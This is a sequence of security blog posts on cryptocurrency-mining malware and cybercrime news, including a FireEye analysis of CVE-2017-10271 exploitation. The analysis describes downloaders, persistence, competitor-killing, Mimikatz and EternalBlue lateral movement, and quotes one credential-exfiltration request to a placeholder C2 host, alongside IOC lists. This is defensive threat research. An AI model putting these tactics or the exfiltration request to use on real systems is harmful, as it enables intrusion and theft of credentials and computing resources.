It’s worth noticing that a similar trick has been previously used by some infected CCleaner samples. In that case, the malicious shellcode was even going a step further by checking if the timeout parameter was being patched in an attempt to accelerate execution (and thus counter the anti-analysis technique).

Conclusions

Any dynamic analysis system wishing to cope with advanced evasive malware must be able to unpack layers of encryption and counter basic anti-analysis techniques. In Figure 7 we can see all the behaviors extracted when fully executing the original sample: the final payload is recognized as a variant of the XMRig Monero CPU Miner, and its network traffic correctly picked up and marked as suspicious.

Figure 7. Lastline analysis of the XMRig CPU miner.

Figure 7. Lastline analysis of the XMRig CPU miner.

Nevertheless it is quite worrying that anti-analysis techniques are becoming this mainstream. So much so that they started to turn into a standard feature of potentially unwanted applications (PUA) as well, including crypto-miners. Hopefully, it is just an isolated case, and not the first of a long series of techniques borrowed from the ransomware world.

Appendix – IOCs

Attached below the reader can find all the hashes related to this analysis, including the mutex identifying this specific strain, and the XMR wallet.

Sha1 (sample): d86c1606094bc9362410a1076e29ac68ae98f972
Sha1 (payload): 43f84e789710b06b2ab49b47577caf9d22fd45f8
Mutex: htTwkXKgtSjskOUmArFBjXWwLccQgxGT
Wallet: 49ptuU9Ktvr6rBkdmrsxdwiSR5WpViAkCXSzcAYWNmXcSZRv37GjwMBNzR7sZE3qBDTnwF9LZNKA8Er2JBiGcKjS6sPaYxY

The post Evasive Monero Miners: Deserting the Sandbox for Profit appeared first on Lastline.

CVE-2017-10271 Used to Deliver CryptoMiners: An Overview of Techniques Used Post-Exploitation and Pre-Mining

Introduction

FireEye researchers recently observed threat actors abusing CVE-2017-10271 to deliver various cryptocurrency miners.

CVE-2017-10271 is a known input validation vulnerability that exists in the WebLogic Server Security Service (WLS Security) in Oracle WebLogic Server versions 12.2.1.2.0 and prior, and attackers can exploit it to remotely execute arbitrary code. Oracle released a Critical Patch Update that reportedly fixes this vulnerability. Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors.

FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017. Attackers then leveraged this vulnerability to download cryptocurrency miners in victim environments.

We saw evidence of organizations located in various countries – including the United States, Australia, Hong Kong, United Kingdom, India, Malaysia, and Spain, as well as those from nearly every industry vertical – being impacted by this activity. Actors involved in cryptocurrency mining operations mainly exploit opportunistic targets rather than specific organizations. This coupled with the diversity of organizations potentially affected by this activity suggests that the external targeting calculus of these attacks is indiscriminate in nature.

The recent cryptocurrency boom has resulted in a growing number of operations – employing diverse tactics – aimed at stealing cryptocurrencies. The idea that these cryptocurrency mining operations are less risky, along with the potentially nice profits, could lead cyber criminals to begin shifting away from ransomware campaigns.

Tactic #1: Delivering the miner directly to a vulnerable server

Some tactics we've observed involve exploiting CVE-2017-10271, leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1), and executing it using ShellExecute().


Figure 1: Downloading the payload directly

Tactic #2: Utilizing PowerShell scripts to deliver the miner

Other tactics involve the exploit delivering a PowerShell script, instead of downloading the executable directly (Figure 2).


Figure 2: Exploit delivering PowerShell script

This script has the following functionalities:

  • Downloading miners from remote servers


Figure 3: Downloading cryptominers

As shown in Figure 3, the .ps1 script tries to download the payload from the remote server to a vulnerable server.

  • Creating scheduled tasks for persistence


Figure 4: Creation of scheduled task

  • Deleting scheduled tasks of other known cryptominers


Figure 5: Deletion of scheduled tasks related to other miners

In Figure 4, the cryptominer creates a scheduled task with name “Update service for Oracle products1”.  In Figure 5, a different variant deletes this task and other similar tasks after creating its own, “Update service for Oracle productsa”.  

From this, it’s quite clear that different attackers are fighting over the resources available in the system.

  • Killing processes matching certain strings associated with other cryptominers


Figure 6: Terminating processes directly


Figure 7: Terminating processes matching certain strings

Similar to scheduled tasks deletion, certain known mining processes are also terminated (Figure 6 and Figure 7).

  • Connects to mining pools with wallet key


Figure 8: Connection to mining pools

The miner is then executed with different flags to connect to mining pools (Figure 8). Some of the other observed flags are: -a for algorithm, -k for keepalive to prevent timeout, -o for URL of mining server, -u for wallet key, -p for password of mining server, and -t for limiting the number of miner threads.

  • Limiting CPU usage to avoid suspicion


Figure 9: Limiting CPU Usage

To avoid suspicion, some attackers are limiting the CPU usage of the miner (Figure 9).

Tactic #3: Lateral movement across Windows environments using Mimikatz and EternalBlue

Some tactics involve spreading laterally across a victim’s environment using dumped Windows credentials and the EternalBlue vulnerability (CVE-2017-0144).

The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server. It looks at every network adapter, aggregating all destination IPs of established non-loopback network connections. Every IP address is then tested with extracted credentials and a credential-based execution of PowerShell is attempted that downloads and executes the malware from the C2 server on the target machine. This variant maintains persistence via WMI (Windows Management Instrumentation).

The malware also has the capability to perform a Pass-the-Hash attack with the NTLM information derived from Mimikatz in order to download and execute the malware in remote systems.

Additionally, the malware exfiltrates stolen credentials to the attacker via an HTTP GET request to: 'http://<C2>:8000/api.php?data=<credential data>'.

If the lateral movement with credentials fails, then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue, and uses it to spread to that host.

After all network derived IPs have been processed, the malware generates random IPs and uses the same combination of PingCastle and EternalBlue to spread to that host.

Tactic #4: Scenarios observed in Linux OS

We’ve also observed this vulnerability being exploited to deliver shell scripts (Figure 10) that have functionality similar to the PowerShell scripts.


Figure 10: Delivery of shell scripts

The shell script performs the following activities:

  • Attempts to kill already running cryptominers


Figure 11: Terminating processes matching certain strings

  • Downloads and executes cryptominer malware


Figure 12: Downloading CryptoMiner

  • Creates a cron job to maintain persistence


Figure 13: Cron job for persistence

  • Tries to kill other potential miners to hog the CPU usage


Figure 14: Terminating other potential miners

The function shown in Figure 14 is used to find processes that have high CPU usage and terminate them. This terminates other potential miners and maximizes the utilization of resources.

Conclusion

Use of cryptocurrency mining malware is a popular tactic leveraged by financially-motivated cyber criminals to make money from victims. We’ve observed one threat actor mining around 1 XMR/day, demonstrating the potential profitability and reason behind the recent rise in such attacks. Additionally, these operations may be perceived as less risky when compared to ransomware operations, since victims may not even know the activity is occurring beyond the slowdown in system performance.

Notably, cryptocurrency mining malware is being distributed using various tactics, typically in an opportunistic and indiscriminate manner so cyber criminals will maximize their outreach and profits.

FireEye HX, being a behavior-based solution, is not affected by cryptominer tricks. FireEye HX detects these threats at the initial level of the attack cycle, when the attackers attempt to deliver the first stage payload or when the miner tries to connect to mining pools.

At the time of writing, FireEye HX detects this activity with the following indicators:

Detection Name

POWERSHELL DOWNLOADER (METHODOLOGY)

MONERO MINER (METHODOLOGY)

MIMIKATZ (CREDENTIAL STEALER)

Indicators of Compromise

MD5

Name

3421A769308D39D4E9C7E8CAECAF7FC4

cranberry.exe/logic.exe

B3A831BFA590274902C77B6C7D4C31AE

xmrig.exe/yam.exe

26404FEDE71F3F713175A3A3CEBC619B

1.ps1

D3D10FAA69A10AC754E3B7DDE9178C22

2.ps1

9C91B5CF6ECED54ABB82D1050C5893F2

info3.ps1

3AAD3FABF29F9DF65DCBD0F308FF0FA8

info6.ps1

933633F2ACFC5909C83F5C73B6FC97CC

lower.css

B47DAF937897043745DF81F32B9D7565

lib.css

3542AC729035C0F3DB186DDF2178B6A0

bootstrap.css

Thanks to Dileep Kumar Jallepalli and Charles Carmakal for their help in the analysis.

Weekly Cyber Risk Roundup: Cryptocurrency Attacks and a Major Cybercriminal Indictment

Cryptocurrency continued to make headlines this past week for a variety of cybercrime-related activities.

2018-02-10_ITT.pngFor starters, researchers discovered a new cryptocurrency miner, dubbed ADB.Miner, that infected nearly 7,000 Android devices such as smartphones, televisions, and tablets over a several-day period. The researchers said the malware uses the ADB debug interface on port 5555 to spread and that it has Mirai code within its scanning module.

In addition, several organizations reported malware infections involving cryptocurrency miners. Four servers at a wastewater facility in Europe were infected with malware designed to mine Monero, and the incident is the first ever documented mining attack to hit an operational technology network of a critical infrastructure operator, security firm Radiflow said. In addition, Decatur County General Hospital recently reported that cryptocurrency mining malware was found on a server related to its electronic medical record system.

Reuters also reported this week on allegations by South Korea that North Korea had hacked into unnamed cryptocurrency exchanges and stolen billions of won. Investors of the Bee Token ICO were also duped after scammers sent out phishing messages to the token’s mailing list claiming that a surprise partnership with Microsoft had been formed and that those who contributed to the ICO in the next six hours would receive a 100% bonus.

All of the recent cryptocurrency-related cybercrime headlines have led some experts to speculate that the use of mining software on unsuspecting users’ machines, or cryptojacking, may eventually surpass ransomware as the primary money maker for cybercriminals.


2018-02-10_ITTGroups

Other trending cybercrime events from the week include:

  • W-2 data compromised: The City of Pittsburg said that some employees had their W-2 information compromised due to a phishing attack. The University of Northern Colorado said that 12 employees had their information compromised due to unauthorized access to their profiles on the university’s online portal, Ursa, which led to the theft of W-2 information. Washington school districts are warning that an ongoing phishing campaign is targeting human resources and payroll staff in an attempt to compromise W-2 information.
  • U.S. defense secrets targeted: The Russian hacking group known as Fancy Bear successfully gained access to the email accounts of contract workers related to sensitive U.S. defense technology; however, it is uncertain what may have been stolen. The Associated Press reported that the group targeted at least 87 people working on militarized drones, missiles, rockets, stealth fighter jets, cloud-computing platforms, or other sensitive activities, and as many as 40 percent of those targeted ultimately clicked on the hackers’ phishing links.
  • Financial information stolen: Advance-Online is notifying customers that their personal and financial information stored on the company’s online platform may have been subject to unauthorized access from April 29, 2017 to January 12, 2018. Citizens Financials Group is notifying customers that their financial information may have been compromised due to the discovery of a skimming device found at a Citizens Bank ATM in Connecticut. Ameriprise Financial is notifying customers that one of its former employees has been calling its service center and impersonating them by using their name, address, and account numbers.
  • Other notable events:  Swisscom said that the “misappropriation of a sales partner’s access rights” led to a 2017 data breach that affected approximately 800,000 customers. A cloud repository belonging to the Paris-based brand marketing company Octoly was erroneously configured for public access and exposed the personal information of more than 12,000 Instagram, Twitter, and YouTube personalities. Ron’s Pharmacy in Oregon is notifying customers that their personal information may have been compromised due to unauthorized access to an employee’s email account. Partners Healthcare said that a May 2017 data breach may have exposed the personal information of up to 2,600 patients. Harvey County in Kansas said that a cyber-attack disrupted county services and led to a portion of the network being disabled. Smith Dental in Tennessee said that a ransomware infection may have compromised the personal information of 1,500 patients. Fresenius Medical Care North America has agreed to a $3.5 million settlement to settle potential HIPAA violations stemming from five separate breaches that occurred in 2012.

SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of those “newly seen” targets, meaning they either appeared in SurfWatch Labs’ data for the first time or else reappeared after being absent for several weeks, are shown in the chart below.

2018-02-10_ITTNew

Cyber Risk Trends From the Past Week

2018-02-10_RiskScoresA federal indictment charging 36 individuals for their role in a cybercriminal enterprise known as the Infraud Organization, which was responsible for more than $530 million in losses, was unsealed this past week. Acting Assistant Attorney General Cronan said the case is “one of the largest cyberfraud enterprise prosecutions ever undertaken by the Department of Justice.”

The indictment alleges that the group engaged in the large-scale acquisition, sale, and dissemination of stolen identities, compromised debit and credit cards, personally identifiable information, financial and banking information, computer malware, and other contraband dating back to October 2010. Thirteen of those charged were taken into custody in countries around the world.

As the Justice Department press release noted:

Under the slogan, “In Fraud We Trust,” the organization directed traffic and potential purchasers to the automated vending sites of its members, which served as online conduits to traffic in stolen means of identification, stolen financial and banking information, malware, and other illicit goods.  It also provided an escrow service to facilitate illicit digital currency transactions among its members and employed screening protocols that purported to ensure only high quality vendors of stolen cards, personally identifiable information, and other contraband were permitted to advertise to members.

ABC News reported that investigators believe the group’s nearly 11,000 members targeted more than 4.3 million credit cards, debit cards, and bank accounts worldwide. Over its seven-year history, the group inflicted $2.2 billion in intended losses and more than $530 million in actual losses against a wide range of financial institutions, merchants, and individuals.

 

Swisscoin [SIC] cryptocurrency spam

Swisscoin is a fairly low-volume self-styled cryptocurrency that has been the target of a Necurs-based spam run starting on Saturday 13th January, and increasing in volume to huge levels on Monday. From:    Florine Fray [Fray.419@redacted.tld] Date:    15 January 2018 at 10:51 Subject:    Could this digital currency actually make you a millionaire? Every once in a while, an opportunity comes